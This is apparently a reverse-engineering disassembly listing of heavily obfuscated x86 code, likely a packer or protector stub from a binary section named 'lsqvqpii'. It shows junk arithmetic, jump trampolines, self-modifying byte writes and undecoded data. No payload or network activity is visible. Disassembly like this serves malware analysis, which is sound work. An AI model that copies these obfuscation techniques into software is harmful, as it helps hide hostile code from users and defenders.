jmp loc_42E6CA
; END OF FUNCTION CHUNK FOR sub_42D080
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42E5B5 proc near ; DATA XREF: sub_42E407:loc_42E9F5o
jmp sub_42CD4C
sub_42E5B5 endp
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42E5BB: ; CODE XREF: sub_42E407-EE3j
mov eax, [eax]
or eax, eax
jnz nullsub_5
jmp loc_42D85B
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 4
; START OF FUNCTION CHUNK FOR sub_42EC30
loc_42E5CC: ; CODE XREF: sub_42EC30+12j
and eax, 0A2871FB3h
add eax, 5E41C324h
jmp loc_42CE46
; END OF FUNCTION CHUNK FOR sub_42EC30
; ---------------------------------------------------------------------------
align 2
; =============== S U B R O U T I N E =======================================
sub_42E5DE proc near ; CODE XREF: sub_42CC9B+1C61p
; FUNCTION CHUNK AT 0042D358 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042ED2C SIZE 00000005 BYTES
xchg esi, [esp+0]
pop esi
add esi, 0A64266B1h
add eax, esi
pop esi
push esi
push 99E68FB8h
jmp loc_42ED2C
sub_42E5DE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; START OF FUNCTION CHUNK FOR sub_42E2D3
loc_42E5F8: ; CODE XREF: sub_42E2D3:loc_42E9D3j
mov dword ptr [ebp-4], 1
push 0D49B7AAEh
pop eax
rol eax, 10h
sub eax, 0B354C208h
jmp sub_42D080
; END OF FUNCTION CHUNK FOR sub_42E2D3
; ---------------------------------------------------------------------------
loc_42E613: ; CODE XREF: lsqvqpii:0042D0B9j
pop esi
pop ebp
push offset loc_42D58B
jmp loc_42D870
; ---------------------------------------------------------------------------
loc_42E61F: ; DATA XREF: lsqvqpii:0042DEAAo
add edx, 63D7AB3Eh
add edx, ebp
push offset byte_42E783
jmp locret_42E778
; ---------------------------------------------------------------------------
align 2
loc_42E632: ; CODE XREF: lsqvqpii:0042E779j
lea eax, byte_42DE10
push offset loc_42EB1B
jmp loc_42EAE2
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
loc_42E643: ; CODE XREF: lsqvqpii:0042CFADj
or edx, edx
jz loc_42E650
call sub_421134
; START OF FUNCTION CHUNK FOR sub_42CF38
loc_42E650: ; CODE XREF: lsqvqpii:0042E645j
; sub_42CF38:loc_42EDDAj
xchg edx, [esp+0]
push edx
jmp loc_42E7C9
; END OF FUNCTION CHUNK FOR sub_42CF38
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
locret_42E65B: ; CODE XREF: lsqvqpii:0042E23Ej
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42E65C: ; CODE XREF: sub_42E407:loc_42D1ABj
xchg edx, [esp+0]
push 931F8915h
pop ecx
or ecx, 80CD1CB8h
add ecx, 6C632B45h
push offset sub_42CADB
jmp nullsub_11
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 4
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42DC4F
loc_42E67D: ; CODE XREF: sub_42DC4F+16j
or ecx, 7E6B9612h
xor ecx, 7A5183C9h
and ecx, 78A4140Eh
jns loc_42DFFA
or edx, ebx
jmp loc_42DF3F
; END OF FUNCTION CHUNK FOR sub_42DC4F
; ---------------------------------------------------------------------------
loc_42E69C: ; CODE XREF: lsqvqpii:loc_42E264j
jnz loc_42E439
jmp near ptr dword_42CD18+0Ah
; ---------------------------------------------------------------------------
align 4
db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
db 0
byte_42E6AB db 0C6h ; DATA XREF: sub_42E407:loc_42D7C3o
dd 0AEE88706h, 4
; ---------------------------------------------------------------------------
loc_42E6B4: ; CODE XREF: lsqvqpii:0042DAAEj
jmp loc_42DFA6
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42E6BB: ; CODE XREF: lsqvqpii:0042DCECj
pop edx
and esi, 95AF5DC1h
js near ptr dword_42D7A4+11h
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D080
loc_42E6CA: ; CODE XREF: sub_42D080+1530j
jmp loc_42DBCE
; END OF FUNCTION CHUNK FOR sub_42D080
; ---------------------------------------------------------------------------
db 89h
dd 0F65BE901h
db 2 dup(0FFh), 99h
; =============== S U B R O U T I N E =======================================
sub_42E6D7 proc near ; CODE XREF: lsqvqpii:loc_42DFB1p
; FUNCTION CHUNK AT 0042ED0E SIZE 00000005 BYTES
xchg edx, [esp+0]
push offset loc_42CEE0
jmp loc_42ED0E
sub_42E6D7 endp
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42E6E5: ; CODE XREF: sub_42E407:loc_42CC5Dj
push eax
mov eax, offset nullsub_17
jmp loc_42D651
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
popf
jmp sub_42D877
; ---------------------------------------------------------------------------
dw 6800h
dd 0F46B90A5h, 8B240C87h, 0E38159D9h, 7F5FD584h, 0BBFAEB81h
dd 0B4E9C6C0h
db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42EB86
loc_42E713: ; CODE XREF: sub_42EB86:loc_42E8BBj
mov ecx, ebx
xchg ecx, [esp+0]
push offset loc_42D0FC
jmp loc_42EA66
; END OF FUNCTION CHUNK FOR sub_42EB86
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42EDBB
loc_42E722: ; CODE XREF: sub_42EDBB:loc_42DF60j
mov esi, offset loc_42DCCE
jmp loc_42CF9D
; END OF FUNCTION CHUNK FOR sub_42EDBB
; ---------------------------------------------------------------------------
push offset loc_42E752
jmp loc_42DB8C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D5D5
loc_42E736: ; CODE XREF: sub_42D5D5+Aj
mov edi, esi
pop esi
mov ebp, esp
push edi
mov edi, ecx
push offset loc_42D34F
jmp nullsub_26
; END OF FUNCTION CHUNK FOR sub_42D5D5
; ---------------------------------------------------------------------------
dd 38890000h, 0FFEFFBE9h
; ---------------------------------------------------------------------------
inc dword ptr [eax]
loc_42E752: ; DATA XREF: lsqvqpii:0042E72Co
mov byte ptr [esi], 8Dh
pop esi
xchg ecx, [esp]
mov ebp, esp
push edi
jmp loc_42EC09
; ---------------------------------------------------------------------------
xchg ebx, [esp]
loc_42E764: ; CODE XREF: lsqvqpii:loc_42D3BDj
pop ebx
add ebx, 77776C04h
loc_42E76B: ; DATA XREF: lsqvqpii:0042D102o
movsd
retn
; ---------------------------------------------------------------------------
db 68h, 98h, 0D8h
dd 20E90042h, 0FFFFF1h
; ---------------------------------------------------------------------------
locret_42E778: ; CODE XREF: lsqvqpii:0042E62Cj
retn
; ---------------------------------------------------------------------------
jmp loc_42E632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E7E2
loc_42E77E: ; CODE XREF: sub_42E7E2+14j
jmp nullsub_6
; END OF FUNCTION CHUNK FOR sub_42E7E2
; ---------------------------------------------------------------------------
byte_42E783 db 81h ; DATA XREF: lsqvqpii:0042E627o
; ---------------------------------------------------------------------------
retn 0A4C1h
; ---------------------------------------------------------------------------
db 88h
; ---------------------------------------------------------------------------
retf 289h
; ---------------------------------------------------------------------------
db 5Ah
dd 99FF689Ch, 0D1E94ACFh, 0FFFFEAh
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D2AC
loc_42E799: ; CODE XREF: sub_42D2AC+9j
mov byte ptr [eax], 9
xchg ebp, [esp-4+arg_0]
mov eax, ebp
pop ebp
push eax
mov eax, ecx
xchg eax, [esp-4+arg_0]
jmp loc_42EAD0
; END OF FUNCTION CHUNK FOR sub_42D2AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42CBA0
loc_42E7AD: ; CODE XREF: sub_42CBA0+741j
sub esi, 0F3CBD31Fh
loc_42E7B3: ; CODE XREF: sub_42CBA0+72Ej
push offset sub_42CEFC
jmp loc_42D51A
; END OF FUNCTION CHUNK FOR sub_42CBA0
; ---------------------------------------------------------------------------
align 2
cmp ecx, 3F5B7620h
jmp loc_42EC6D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42CF38
loc_42E7C9: ; CODE XREF: sub_42CF38+171Cj
pop eax
xchg ecx, [esp+0]
mov edx, ecx
pop ecx
jmp loc_42EA92
; END OF FUNCTION CHUNK FOR sub_42CF38
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42EDBB
loc_42E7D7: ; CODE XREF: sub_42EDBB-1E74j
; sub_42E332+14j ...
push esi
rol esi, 17h
jmp loc_42DF60
; END OF FUNCTION CHUNK FOR sub_42EDBB
; ---------------------------------------------------------------------------
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_42E7E2 proc near ; CODE XREF: sub_42E407+48p
; FUNCTION CHUNK AT 0042E77E SIZE 00000005 BYTES
xchg edx, [esp+0]
xchg eax, [esp+0]
mov edx, eax
pop eax
add esi, 6F9E8582h
push offset loc_42CEBA
jmp loc_42E77E
sub_42E7E2 endp
; ---------------------------------------------------------------------------
align 4
dd 0E9C20300h, 0FFFFE7F1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42E806: ; CODE XREF: lsqvqpii:0042CCDCj
; lsqvqpii:loc_42EC6Dj
mov byte ptr [ecx], 87h
pop ecx
sub ecx, 903F66CEh
push offset byte_42D9C1
jmp locret_42DF7E
; ---------------------------------------------------------------------------
dw 8B00h
dd 890F59C1h, 0FFFFE6A1h, 0DDCD058Dh, 68510042h, 9F1AC2B9h
dd 0EE93E959h, 8900FFFFh, 0F12F683Bh, 90E932D4h, 0FFFFFAh
dword_42E844 dd 0F5199668h, 241C87ABh, 0E95BFB8Bh, 561h, 1BF4BA00h
; DATA XREF: sub_42DC4F-18Ao
dd 5FE90E4Dh, 0FFFFFFh, 0E9EE2B00h, 0FFFFF545h
; ---------------------------------------------------------------------------
loc_42E868: ; DATA XREF: sub_42EDBB+10o
push offset sub_42E057
jmp loc_42DCE6
; ---------------------------------------------------------------------------
align 4
test ecx, 0AE41FEA9h
jmp loc_42DAB4
; ---------------------------------------------------------------------------
align 10h
db 0
; ---------------------------------------------------------------------------
loc_42E881: ; CODE XREF: lsqvqpii:loc_42EBB5j
; DATA XREF: sub_42EDBB-210o
mov edx, [eax]
or edx, edx
loc_42E885: ; CODE XREF: lsqvqpii:0042E9B7j
jz loc_42E7D7
jmp loc_42E264
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42E892: ; CODE XREF: lsqvqpii:0042E1BEj
add ecx, 0F3B2E18Bh
mov ecx, [ecx]
xchg ecx, [esp]
push edx
push 0A7BBA5F0h
jmp loc_42E4AE
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42E8AA: ; CODE XREF: lsqvqpii:0042CB28j
jnz loc_42ECC3
loc_42E8B0: ; CODE XREF: lsqvqpii:0042EB1Cp
xchg ecx, [esp]
pop ecx
call sub_42E930
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42EB86
loc_42E8BB: ; CODE XREF: sub_42EB86+5j
jmp loc_42E713
; END OF FUNCTION CHUNK FOR sub_42EB86
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42DD3F
loc_42E8C2: ; CODE XREF: sub_42DD3F-971j
jmp loc_42D566
; END OF FUNCTION CHUNK FOR sub_42DD3F
; ---------------------------------------------------------------------------
align 4
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42E8C9: ; CODE XREF: sub_42E407:loc_42E903j
jnz sub_42CBA0
jmp loc_42E9F2
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
dd 0C30000h, 50EC8B00h, 487C18Bh, 0FE93E924h, 0FFFFh, 67A8E981h
dd 0BFE925EAh
; ---------------------------------------------------------------------------
jmp short near ptr loc_42E8F0+1 ; CODE XREF: lsqvqpii:loc_42E8F0j
; ---------------------------------------------------------------------------
db 0FFh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42CC9B
loc_42E8F3: ; CODE XREF: sub_42CC9B+7j
push 54D66F66h
pop esi
rol esi, 0Ah
call sub_42E5DE
; END OF FUNCTION CHUNK FOR sub_42CC9B
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42E903: ; CODE XREF: sub_42E407-7D3j
jmp loc_42E8C9
; ---------------------------------------------------------------------------
loc_42E908: ; CODE XREF: sub_42E407-EDDj
jmp loc_42DC2E
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 2
; START OF FUNCTION CHUNK FOR sub_42D1E0
loc_42E90E: ; CODE XREF: sub_42D1E0:loc_42E052j
pop edx
push edx
push 2779887Dh
xchg ebp, [esp+4+var_4]
mov edx, ebp
pop ebp
sub edx, 2F9C5F0Dh
jmp near ptr loc_42DAEF+5
; END OF FUNCTION CHUNK FOR sub_42D1E0
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42E929: ; CODE XREF: sub_42E407-152Cj
jmp loc_42E505
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_42E930 proc near ; CODE XREF: lsqvqpii:0042E8B4p
; lsqvqpii:0042ED5Ej
; FUNCTION CHUNK AT 0042DD10 SIZE 0000000E BYTES
xchg ecx, [esp+0]
pop ecx
push 0F6BC9803h
xchg ebp, [esp+0]
mov ecx, ebp
pop ebp
xor ecx, 0C2CA3951h
rol ecx, 5
jmp loc_42DD10
sub_42E930 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND]
dd 0FFE3B6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_42E955: ; CODE XREF: lsqvqpii:0042E4FFj
mov byte ptr [eax], 87h
pop eax
pop edx
loc_42E95A: ; DATA XREF: lsqvqpii:0042E4FAo
xchg eax, [esp]
push eax
pop ebp
jmp near ptr dword_42DD6C+11h
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42DC4F
loc_42E966: ; CODE XREF: sub_42DC4F:loc_42E3AAj
jnz loc_42CE4B
shl ebx, 1Dh
jp loc_42E447
cmp edx, 0AF87AD06h
jmp loc_42D75D
; END OF FUNCTION CHUNK FOR sub_42DC4F
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
locret_42E982: ; CODE XREF: lsqvqpii:loc_42E096j
retn
; ---------------------------------------------------------------------------
loc_42E983: ; CODE XREF: lsqvqpii:0042CF62j
jmp loc_42D740
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
locret_42E989: ; CODE XREF: lsqvqpii:0042DF57j
retn
; ---------------------------------------------------------------------------
dw 6800h
dd 3FA2EAC7h, 0F980820Fh, 28E9FFFFh, 3
db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS KEYPAD "+" TO EXPAND]
align 10h
mov ecx, eax
xchg ecx, [esp]
push ebp
pop eax
push esi
jmp loc_42EA97
; ---------------------------------------------------------------------------
align 2
loc_42E9AE: ; DATA XREF: sub_42ECE4+Ao
xchg edi, [esp]
call ds:dword_4210C0 ; ExitProcess
jmp loc_42E885
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42E9BD: ; CODE XREF: sub_42E407-1532j
; sub_42E407+D1j
lea eax, nullsub_1
mov byte ptr [eax], 0C3h
retn
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 4
dd 8D00C600h, 0F535E858h
db 2 dup(0FFh), 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E2D3
loc_42E9D3: ; CODE XREF: sub_42E2D3-7FDj
jmp loc_42E5F8
; END OF FUNCTION CHUNK FOR sub_42E2D3
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42E9DA: ; CODE XREF: lsqvqpii:0042E383j
sbb ebp, 9A32B1AFh
; =============== S U B R O U T I N E =======================================
sub_42E9E0 proc near ; CODE XREF: sub_42D877-C69p
push offset loc_42D96E
jmp nullsub_8
sub_42E9E0 endp
; ---------------------------------------------------------------------------
loc_42E9EA: ; CODE XREF: lsqvqpii:loc_42DB8Cj
retn
; ---------------------------------------------------------------------------
align 4
dd 0E899E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42E9F2: ; CODE XREF: sub_42E407+4C8j
ror edi, 2
loc_42E9F5: ; CODE XREF: sub_42E407:loc_42DC2Ej
push offset sub_42E5B5
jmp nullsub_9
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_42EA00 proc near ; CODE XREF: sub_42E407-1591j
; sub_42E407:loc_42E505j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0042D4EF SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042E1E1 SIZE 00000011 BYTES
push ebx
mov ebx, edi
xchg ebx, [esp+0]
push 0EAF5EA9h
jmp loc_42D4EF
sub_42EA00 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 0C0C15800h, 5CC0811Bh, 0E9C311D6h, 0FFFFF4DCh
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
dd offset dword_42CCA8+8
db 0E9h, 77h, 0F9h
dd 0FFFFh, 0E819840Fh, 0FFFFh
; ---------------------------------------------------------------------------
loc_42EA38: ; CODE XREF: lsqvqpii:0042E3B9j
jmp loc_42E1C5
; ---------------------------------------------------------------------------
db 81h, 0D7h, 0F8h
dd 0E908A331h, 0FFFFFAF4h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D877
loc_42EA49: ; CODE XREF: sub_42D877:loc_42E2FFj
call sub_42ECE4
; END OF FUNCTION CHUNK FOR sub_42D877
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 2 dup(0), 0C3h
dd 0FFEB8DE9h
; ---------------------------------------------------------------------------
inc dword ptr [eax]
loc_42EA5A: ; CODE XREF: lsqvqpii:0042DB69j
pop eax
add eax, 4B94AF11h
call sub_42EC73
; START OF FUNCTION CHUNK FOR sub_42EB86
loc_42EA66: ; CODE XREF: sub_42EB86-469j
jmp nullsub_25
; END OF FUNCTION CHUNK FOR sub_42EB86
; ---------------------------------------------------------------------------
align 4
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D877
loc_42EA6D: ; CODE XREF: sub_42D877-640j
jnz loc_42E545
jmp loc_42EC65
; END OF FUNCTION CHUNK FOR sub_42D877
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42EA7A: ; CODE XREF: lsqvqpii:loc_42EC1Cj
test edi, 1000000h
jmp loc_42DBB4
; ---------------------------------------------------------------------------
db 2 dup(0), 87h
db 0DAh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D877
loc_42EA89: ; CODE XREF: sub_42D877:loc_42DA23j
rol eax, 0Eh
add eax, 42567961h
loc_42EA92: ; CODE XREF: sub_42CF38+1898j
call sub_42EDBB
loc_42EA97: ; CODE XREF: lsqvqpii:0042E9A8j
jmp loc_42D232
; END OF FUNCTION CHUNK FOR sub_42D877
; ---------------------------------------------------------------------------
dd 0E699E900h, 0F9E9FFFFh
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_42EAA7: ; DATA XREF: sub_42E365+12o
call sub_42DB92
push esi
push 312CB3B1h
pop esi
and esi, 0F2AD9A52h
xor esi, 39F22964h
jmp loc_42D815
; ---------------------------------------------------------------------------
shr ebx, 14h
xchg edi, [edx]
jmp loc_42EB61
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_42D2AC
loc_42EAD0: ; CODE XREF: sub_42D2AC+14FCj
lea eax, byte_42DE10
push eax
call sub_42CBA0
jmp loc_42DC03
; END OF FUNCTION CHUNK FOR sub_42D2AC
; ---------------------------------------------------------------------------
align 2
loc_42EAE2: ; CODE XREF: lsqvqpii:0042E63Dj
jmp locret_42CCA7
; ---------------------------------------------------------------------------
align 4
; START OF FUNCTION CHUNK FOR sub_42DD3F
loc_42EAE8: ; CODE XREF: sub_42DD3F+5DFj
jmp loc_42CE22
; END OF FUNCTION CHUNK FOR sub_42DD3F
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42EAEF: ; CODE XREF: sub_42E407:loc_42CAAEj
add edx, 7BDC90Fh
or edx, 0C0F59705h
add edx, 434503C0h
add edx, ebp
add edx, 0DEBB5C65h
mov edx, [edx]
loc_42EB0B: ; DATA XREF: lsqvqpii:0042E0F2o
imul byte ptr [edx]
call sub_42D877
add [ebp-1AD0162Dh], al
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
db 2 dup(0FFh), 0
; ---------------------------------------------------------------------------
loc_42EB1B: ; DATA XREF: lsqvqpii:0042E638o
push ecx
call loc_42E8B0
loc_42EB21: ; CODE XREF: lsqvqpii:0042D8A7j
jmp near ptr dword_42D5E4+26h
; ---------------------------------------------------------------------------
locret_42EB26: ; CODE XREF: lsqvqpii:0042D225j
retn
; ---------------------------------------------------------------------------
align 4
loc_42EB28: ; CODE XREF: lsqvqpii:0042E274j
jmp near ptr dword_42D8B8+10h
; ---------------------------------------------------------------------------
loc_42EB2D: ; CODE XREF: lsqvqpii:0042D9BBj
jmp loc_42DDC3
; ---------------------------------------------------------------------------
align 4
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42EB34: ; CODE XREF: sub_42E407-2FAj
jz loc_42D35E
xor ebx, edi
and ebx, eax
jmp loc_42CE96
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_42EB44 proc near ; CODE XREF: lsqvqpii:0042CC6Bj
; lsqvqpii:0042D353p
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0042CCC9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CE7D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042D021 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042D15E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042D5AB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DBC2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042ED9E SIZE 00000011 BYTES
xchg esi, [esp+0]
xchg edx, [esp+0]
mov esi, edx
pop edx
push 33DE803Eh
push esi
mov esi, edi
xchg esi, [esp+4+var_4]
jmp loc_42CCC9
sub_42EB44 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 2
retn
; ---------------------------------------------------------------------------
align 10h
db 0
; ---------------------------------------------------------------------------
loc_42EB61: ; CODE XREF: lsqvqpii:0042EAC9j
xchg ebx, [esp]
pop ebx
xchg edx, [esp]
mov esi, edx
pop edx
xchg eax, [esp]
jmp near ptr dword_42DE30+12h
; ---------------------------------------------------------------------------
align 4
dd 0EBCF6800h, 1CE96252h, 0FFFFEAh, 46820Fh
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_42EB86 proc near ; CODE XREF: sub_42E407+38p
; FUNCTION CHUNK AT 0042E713 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042E8BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EA66 SIZE 00000005 BYTES
xchg esi, [esp+0]
pop esi
push ecx
jmp loc_42E8BB
sub_42EB86 endp
; ---------------------------------------------------------------------------
dd 3D680000h, 0E90C64F1h, 0FFFFF1A1h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42DC4F
loc_42EB9D: ; CODE XREF: sub_42DC4F+3B5j
; DATA XREF: sub_42E332-84Ar
in al, 0
loc_42EB9F: ; CODE XREF: lsqvqpii:0042D746j
jmp loc_42D0BF
; END OF FUNCTION CHUNK FOR sub_42DC4F
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42EDBB
loc_42EBA5: ; CODE XREF: sub_42EDBB+4j
jno loc_42CF43
push offset loc_42E881
jmp nullsub_13
; END OF FUNCTION CHUNK FOR sub_42EDBB
; ---------------------------------------------------------------------------
loc_42EBB5: ; CODE XREF: lsqvqpii:0042DB9Ej
retn
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
loc_42EBB7: ; CODE XREF: lsqvqpii:0042DD5Cj
jmp loc_42D926
; ---------------------------------------------------------------------------
db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42CD93
loc_42EBBF: ; CODE XREF: sub_42CD93+7E5j
jmp nullsub_20
; END OF FUNCTION CHUNK FOR sub_42CD93
; ---------------------------------------------------------------------------
dd 6B8B6800h, 5759C334h, 42D6FBBFh, 0FF06E900h, 880FFFFFh
dd 6Bh, 0F542E99Dh
db 2 dup(0FFh), 0
; ---------------------------------------------------------------------------
loc_42EBE3: ; CODE XREF: lsqvqpii:0042DF86j
and ecx, 0F4A8087h
or ecx, 71C4BA45h
add ecx, 807627AEh
xchg eax, edi
or al, 24h
jmp near ptr dword_42CEA0+3
; ---------------------------------------------------------------------------
db 2 dup(0), 3
dd 1CCFC1CFh, 0FFE133E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_42EC09: ; CODE XREF: lsqvqpii:0042E75Cj
mov edi, ecx
call sub_42E365
loc_42EC10: ; CODE XREF: lsqvqpii:0042E401j
jmp near ptr dword_42DF5C+1
; ---------------------------------------------------------------------------
db 2 dup(0), 0E9h
dd 0FFFFE94Ah
; ---------------------------------------------------------------------------
loc_42EC1C: ; CODE XREF: lsqvqpii:0042D2F8j
jmp loc_42EA7A
; ---------------------------------------------------------------------------
align 2
; START OF FUNCTION CHUNK FOR sub_42EDBB
loc_42EC22: ; CODE XREF: sub_42EDBB-1E69j
jmp nullsub_14
; END OF FUNCTION CHUNK FOR sub_42EDBB
; ---------------------------------------------------------------------------
align 4
db 0
; ---------------------------------------------------------------------------
locret_42EC29: ; CODE XREF: lsqvqpii:loc_42D006j
retn
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E365
loc_42EC2B: ; CODE XREF: sub_42E365+17j
jmp nullsub_28
; END OF FUNCTION CHUNK FOR sub_42E365
; =============== S U B R O U T I N E =======================================
sub_42EC30 proc near ; DATA XREF: lsqvqpii:0042DBF7o
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042CE46 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E5CC SIZE 00000011 BYTES
push ebx
mov ebx, eax
xchg ebx, [esp+4+var_4]
push 39D1FF00h
pop eax
xor eax, 0CBC88E32h
jmp loc_42E5CC
sub_42EC30 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42DD3F
loc_42EC48: ; CODE XREF: sub_42DD3F-F00j
jmp loc_42D3CB
; END OF FUNCTION CHUNK FOR sub_42DD3F
; ---------------------------------------------------------------------------
db 2 dup(0), 9Ch
; ---------------------------------------------------------------------------
push offset dword_42D1EC
jmp locret_42D858
; ---------------------------------------------------------------------------
align 4
dd 0E90EC1C1h, 0FFFFFA72h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D877
loc_42EC65: ; CODE XREF: sub_42D877+11FCj
xchg ebp, [ebx]
cdq
jmp loc_42E545
; END OF FUNCTION CHUNK FOR sub_42D877
; ---------------------------------------------------------------------------
loc_42EC6D: ; CODE XREF: lsqvqpii:0042E7C4j
jnp loc_42E806
; =============== S U B R O U T I N E =======================================
sub_42EC73 proc near ; CODE XREF: lsqvqpii:0042EA61p
; FUNCTION CHUNK AT 0042DCA9 SIZE 0000000C BYTES
xchg ebx, [esp+0]
xchg ecx, [esp+0]
mov ebx, ecx
jmp loc_42DCA9
sub_42EC73 endp
; ---------------------------------------------------------------------------
